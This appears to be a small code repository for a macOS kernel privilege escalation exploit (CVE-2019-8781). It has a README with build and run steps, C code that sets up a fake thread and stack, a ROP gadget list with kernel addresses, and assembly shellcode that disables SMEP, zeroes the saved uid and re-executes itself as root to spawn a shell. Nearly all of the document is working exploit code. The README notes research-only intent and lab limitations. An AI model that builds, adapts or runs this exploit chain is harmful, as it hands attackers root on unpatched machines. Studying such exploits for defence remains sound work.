├── Makefile ├── README.md ├── definitions.h ├── exploit.c ├── gadgets.c ├── gadgets.h └── kernel.s /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile 3 | # 4 | # Created by Ilias Morad. 5 | # Copyright © 2019 Ilias Morad. All rights reserved. 6 | # 7 | 8 | main: exploit.c gadgets.c kernel.s 9 | nasm -f macho32 -o kernel.o kernel.s 10 | gcc -o exploit -m32 -Wl,-pagezero_size,0 -masm=intel exploit.c gadgets.c kernel.o 11 | 12 | clean: 13 | rm exploit *.o -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # macOS-Kernel-Exploit 2 | 3 | ## DISCLAIMER 4 | You need to know the KASLR slide to use the exploit. Also SMAP needs to be disabled which means that it's not exploitable on Macs after 2015. These limitations make the exploit pretty much unusable for in-the-wild exploitation but still helpful for 5 | security researchers in a controlled lab environment. 6 | 7 | This exploit is intended for security research purposes only. 8 | 9 | ## General 10 | macOS Kernel Exploit for CVE-2019-8781 ~~(currently a 0day. 11 | I'll add the CVE# once it is published ;) )~~. 12 | 13 | Thanks to @LinusHenze for this cool bug and his support ;P. 14 | 15 | ## Writeup 16 | 17 | Probably coming soon. 18 | If you want to try and exploit it yourself, here are a few things to get you started: 19 | 20 | - VM: Download the macOS installer from the appstore and drag the `.app` file into VMWare's `NEW VM` window 21 | - Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb 22 | - Have a look at the _kernel_trap function 23 | 24 | 25 | ## Build 26 | 27 | I recommend setting the bootargs to: `debug=0x44 kcsuffix=development -v ` 28 | 29 | :warning: **Note**: SMAP needs to be disabled on macs after 2015 (`-pmap_smap_disable`) 30 | 31 | You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit) 32 | Downloading Xcode 9.4.1 Commandline Tools should be enough ;) 33 | Download: https://developer.apple.com/download/more/ 34 | 35 | ``` 36 | make 37 | ``` 38 | 39 | ## Execution 40 | 41 | ``` 42 | ./exploit 43 | ``` 44 | 45 | Tested on macOS Mojave: `Darwin Kernel-Mac.local 18.7.0 Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/DEVELOPMENT_X86_64 x86_64` 46 | 47 | **Demo**: 48 | 49 | [![asciicast](https://asciinema.org/a/gtOLsNfxPSwcOOYKUwcH0JFJd.png)](https://asciinema.org/a/gtOLsNfxPSwcOOYKUwcH0JFJd) 50 | -------------------------------------------------------------------------------- /definitions.h: -------------------------------------------------------------------------------- 1 | #ifndef definitions_h 2 | #define definitions_h 3 | 4 | #include // memset 5 | #include // thread_set_state 6 | 7 | #pragma pack(4) 8 | 9 | #define x86_SAVED_STATE32 THREAD_STATE_NONE + 1 10 | #define x86_SAVED_STATE64 THREAD_STATE_NONE + 2 11 | 12 | struct x86_saved_state32 { 13 | uint32_t gs; // 0x00 14 | uint32_t fs; 15 | uint32_t es; // 0x08 16 | uint32_t ds; 17 | uint32_t edi; // 0x10 18 | uint32_t esi; 19 | uint32_t ebp; // 0x18 20 | uint32_t cr2; 21 | uint32_t ebx; // 0x20 22 | uint32_t edx; 23 | uint32_t ecx; // 0x28 24 | uint32_t eax; 25 | uint16_t trapno; // 0x30 26 | uint16_t cpu; // 0x32 27 | uint32_t err; // 0x34 28 | uint32_t eip; 29 | uint32_t cs; // 0x3c 30 | uint32_t efl; 31 | uint32_t uesp; // 0x44 32 | uint32_t ss; 33 | }; 34 | typedef struct x86_saved_state32 x86_saved_state32_t; 35 | 36 | #define x86_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 37 | (sizeof (x86_saved_state32_t)/sizeof(unsigned int))) 38 | 39 | #pragma pack(0) 40 | 41 | #endif /* definitions_h */ 42 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | // 2 | // exploit.c 3 | // 4 | // Created by Ilias Morad. 5 | // Copyright © 2019 Ilias Morad. All rights reserved. 6 | // 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include "definitions.h" 13 | #include "gadgets.h" 14 | 15 | 16 | #define DEBUG 1 17 | 18 | 19 | // Used in kernel.s 20 | extern uint64_t current_proc; 21 | extern uint64_t proc_ucred; 22 | extern uint64_t posix_cred_get; 23 | extern uint64_t return_to_user; 24 | 25 | extern void escalatePrivs(void); 26 | 27 | 28 | // For debugging 29 | void hexdump(const void* data, size_t size) { 30 | char ascii[17]; 31 | size_t i, j; 32 | ascii[16] = '\0'; 33 | for (i = 0; i < size; ++i) { 34 | printf("%02X ", ((unsigned char*)data)[i]); 35 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 36 | ascii[i % 16] = ((unsigned char*)data)[i]; 37 | } else { 38 | ascii[i % 16] = '.'; 39 | } 40 | if ((i+1) % 8 == 0 || i+1 == size) { 41 | printf(" "); 42 | if ((i+1) % 16 == 0) { 43 | printf("| %s \n", ascii); 44 | } else if (i+1 == size) { 45 | ascii[(i+1) % 16] = '\0'; 46 | if ((i+1) % 16 <= 8) { 47 | printf(" "); 48 | } 49 | for (j = (i+1) % 16; j < 16; ++j) { 50 | printf(" "); 51 | } 52 | printf("| %s \n", ascii); 53 | } 54 | } 55 | } 56 | } 57 | 58 | void fail() { 59 | puts("[-] Stopping exploit"); 60 | exit(-1); 61 | } 62 | 63 | int main(int argc, const char *argv[]) { 64 | kern_return_t err = -1; 65 | uint64_t kSlide = -1; 66 | 67 | // after we return to userland our process state is super messed up 68 | // in order to be able to get a "stable" environment 69 | // our userland shellcode will just exec() itself again as root 70 | if(getuid() == 0) { 71 | puts("[+] Userland shellcode says hi!"); 72 | printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); 73 | system("/bin/bash"); 74 | exit(0); 75 | } 76 | 77 | if(argc < 2) { 78 | puts("[-] You need to provide the kernel slide."); 79 | fail(); 80 | } else { 81 | kSlide = strtol(argv[1], NULL, 0x10); 82 | printf("[*] Kernel slide: 0x%llx\n", kSlide); 83 | } 84 | 85 | current_proc = 0xffffff8000968360 + kSlide; 86 | proc_ucred = 0xffffff8000820d30 + kSlide; 87 | posix_cred_get = 0xffffff80007ddbe0 + kSlide; 88 | return_to_user = 0xffffff8000229680 + kSlide; 89 | 90 | printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); 91 | 92 | vm_address_t pageZero = 0x00; 93 | err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0); 94 | if(err != 0) { 95 | printf("[-] vm_allocate(pageZero) returned %d\n", err); 96 | fail(); 97 | } 98 | memset(0,0,0x1000); 99 | puts("[*] Mapped NULL Page to catch GS accesses"); 100 | 101 | vm_address_t fakeThread = 0; 102 | err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE); 103 | if(err != 0) { 104 | printf("[-] vm_allocate(fakeThread) returned %d\n", err); 105 | fail(); 106 | } 107 | printf("[*] Fake Thread is at: 0x%x\n", fakeThread); 108 | 109 | uint64_t *fakeStack = (uint64_t *)0x5d000000; 110 | vm_address_t fakeStackk = 0x5d000000; 111 | err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0); 112 | if(err != 0) { 113 | printf("[-] vm_allocate(fakeStack) returned %d\n", err); 114 | fail(); 115 | } 116 | printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack); 117 | 118 | x86_saved_state32_t state; 119 | memset(&state, 0xFF, sizeof(x86_saved_state32_t)); 120 | state.gs = 0x23; 121 | 122 | *(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure 123 | *(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the 124 | // kernel executes iretq 125 | *(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used) 126 | *(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used) 127 | 128 | puts("[+] SAVED_STATE32 setup done!"); 129 | 130 | 131 | // Disable SMEP 132 | int sp = 0; 133 | fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp; 134 | fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp; 135 | fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp; 136 | // SMEP is disabled and we can jump to our userland code part 137 | fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp; 138 | 139 | 140 | if(DEBUG) { 141 | char c; 142 | printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs); 143 | hexdump((const void *)fakeStackk, 0x20); 144 | puts("[DEBUG] Waiting..."); 145 | // scanf(" %c", &c); 146 | } 147 | 148 | puts("[+] Here we go..."); 149 | thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT); 150 | while(1) {} 151 | return 0; 152 | } 153 | -------------------------------------------------------------------------------- /gadgets.c: -------------------------------------------------------------------------------- 1 | // ROP Helpers 2 | 3 | void __attribute__((naked)) swapgs() { 4 | __asm__ __volatile__("swapgs; ret "); 5 | } -------------------------------------------------------------------------------- /gadgets.h: -------------------------------------------------------------------------------- 1 | // 2 | // gadgets.h 3 | // 4 | // Created by Ilias Morad. 5 | // Copyright © 2019 Ilias Morad. All rights reserved. 6 | // 7 | 8 | #ifndef gadgets_h 9 | #define gadgets_h 10 | 11 | /* Backup stack pivots */ 12 | // 0xffffff80005ea56b: mov esp, 0x5d000000; ret; 13 | // 0xffffff80008e1834: mov esp, 0x10024; add cl, ch; ret; 14 | // 0xffffff800060ef11: mov esp, 0xff000000; ret; 15 | // 0xffffff8000a241ee: xchg esp, esi; dec dword ptr [rax - 0x77]; ret; 16 | 17 | #define ROP_PIVOT_STACK 0xffffff80005ea56b // mov esp, 0x5d000000; ret; 18 | #define ROP_MOV_CR4_RAX 0xffffff800040b613 // mov cr4, rax; ret; 19 | #define ROP_POP_RAX 0xffffff8000229270 // pop rax; ret; 20 | #define ROP_POP_RDI 0xffffff8000228e74 // pop rdi; ret; 21 | #define ROP_POP_RSI 0xffffff800047c02e // pop rsi; ret; 22 | #define ROP_POP_RDX 0xffffff8000273d6f // pop rdx; ret; 23 | #define ROP_POP_RCX 0xffffff80007ce67a // pop rcx; ret; 24 | #define ROP_MOV_RAX_RCX 0xffffff80002e736e // mov rax, rcx; ret; 25 | 26 | #define ROP_RET32_IRET 0xffffff80002298bc // iretq 27 | 28 | #define CPU_ENABLE_SMEP 0x00000000001606e0 29 | #define CPU_DISABLE_SMEP 0x00000000000606e0 30 | 31 | 32 | void __attribute__((naked)) swapgs(); 33 | 34 | #endif -------------------------------------------------------------------------------- /kernel.s: -------------------------------------------------------------------------------- 1 | ; This is the privilege escalation code and it will be run 2 | ; after we've disabled SMEP. I'm doing this in assembly because 3 | ; the kernel is going to execute this code as 64bit so the privilege 4 | ; escalation part has to be 64bit. However our exploit program is 32bit 5 | ; and the simplest way to have 64 and 32 bit code in one binary is probably 6 | ; writing the 64bit part in assembly and linking it to the 32 bit code. 7 | bits 64 8 | section __TEXT,__text 9 | 10 | ; Helper to fix relative accesses bc of PIE 11 | getRIP: 12 | mov rax, [rsp] 13 | ret 14 | 15 | ; This is the function we're trying to implement 16 | ; void escalatePrivs() { 17 | ; uint32_t *posix_cred = posix_cred_get(proc_ucred(current_proc())); 18 | ; posix_cred[2] = 0x00; // uid_t cr_svuid; /* saved user id */ 19 | ; return; 20 | ; } 21 | global _escalatePrivs 22 | _escalatePrivs: 23 | swapgs 24 | 25 | call getRIP 26 | add rax, _current_proc - $ 27 | mov rax, [rax] 28 | 29 | call rax; current_proc() 30 | 31 | mov rdi, rax 32 | 33 | call getRIP 34 | add rax, _proc_ucred - $ 35 | mov rax, [rax] 36 | 37 | call rax; proc_ucred(current_proc()) 38 | 39 | mov rdi, rax 40 | 41 | call getRIP 42 | add rax, _posix_cred_get - $ 43 | mov rax, [rax] 44 | 45 | call rax; posix_cred_get(proc_ucred(current_proc())) \o/ 46 | 47 | ; rax contains a pointer to our posix cred stucture at this point 48 | ; 49 | ; struct posix_cred { 50 | ; /* 51 | ; * The credential hash depends on everything from this point on 52 | ; * (see kauth_cred_get_hashkey) 53 | ; */ 54 | ; uid_t cr_uid; /* effective user id */ 55 | ; uid_t cr_ruid; /* real user id */ 56 | ; uid_t cr_svuid; /* saved user id */ 57 | ; short cr_ngroups; /* number of groups in advisory list */ 58 | ; gid_t cr_groups[NGROUPS]; /* advisory group list */ 59 | ; gid_t cr_rgid; /* real group id */ 60 | ; gid_t cr_svgid; /* saved group id */ 61 | ; uid_t cr_gmuid; /* UID for group membership purposes */ 62 | ; int cr_flags; /* flags on credential */ 63 | ; } 64 | ; 65 | ; we want to overwrite the cr_svuid field insead of cr_uid and cr_ruid 66 | ; to prevent crashing later on. Overwriting the cr_svuid will enable us 67 | ; to call seteuid(0)&setuid(0) in order for us to get root 68 | 69 | mov dword [rax+0x4+0x4], 0x00; cr_svuid = 0x00; 70 | ; we're root !!! But we still need to return back to userland 71 | ; to be able to make use of our new privileges 72 | 73 | 74 | ; The easiest way to return back to userland is probably 75 | ; just calling _return_to_user, but since we have a 76 | ; kind of fucked up thread structure, we'll need to fix that first. 77 | 78 | 79 | mov r15, qword [gs:0x08]; Get Thread structure 80 | mov r15, qword [r15+0x428]; thread saved_state 81 | 82 | ; Calculate address of resume_task 83 | call getRIP 84 | add rax, resume_task - $ 85 | 86 | ; populate our saved_state with sane values 87 | mov dword [r15+0x48], eax ; New eip 88 | mov dword [r15+0x50], 0x00200282 ; New eflags 89 | mov dword [r15+0x4c], 0x1b ; New cs 90 | mov dword [r15+0x54], 0x500 ; New esp 91 | mov dword [r15+0x58], 0x23 ; New ss 92 | 93 | mov dword [r15+0x1c], 0x23 ; New ds 94 | mov dword [r15+0x18], 0x23 ; New es 95 | mov dword [r15+0x14], 0x00 ; New fs 96 | mov dword [r15+0x10], 0x00 ; New gs 97 | 98 | call getRIP 99 | add rax, _return_to_user - $ 100 | mov rax, [rax] 101 | 102 | jmp rax 103 | 104 | hlt 105 | 106 | 107 | bits 32 108 | 109 | resume_task: 110 | ; seteuid(0) + setuid(0) 111 | mov eax, 183 112 | xor ebx, ebx 113 | int 0x80 114 | mov eax, 23 115 | xor ebx, ebx 116 | int 0x80 117 | 118 | ; Exec our own process again, but this time as root ;) 119 | xor eax, eax 120 | push eax 121 | push 0x00000074 122 | push 0x696f6c70 123 | push 0x78652f2e 124 | mov ebx, esp 125 | push eax 126 | push eax 127 | push ebx 128 | mov al, 0x3b 129 | push byte 0x2a 130 | int 0x80 131 | 132 | 133 | section __DATA,__data 134 | 135 | global _current_proc 136 | _current_proc: 137 | dq 0xfeedface; placeholder 138 | 139 | global _posix_cred_get 140 | _posix_cred_get: 141 | dq 0xfeedface; placeholder 142 | 143 | global _proc_ucred 144 | _proc_ucred: 145 | dq 0xfeedface; placeholder 146 | 147 | global _return_to_user 148 | _return_to_user: 149 | dq 0xfeedface; placeholder 150 | --------------------------------------------------------------------------------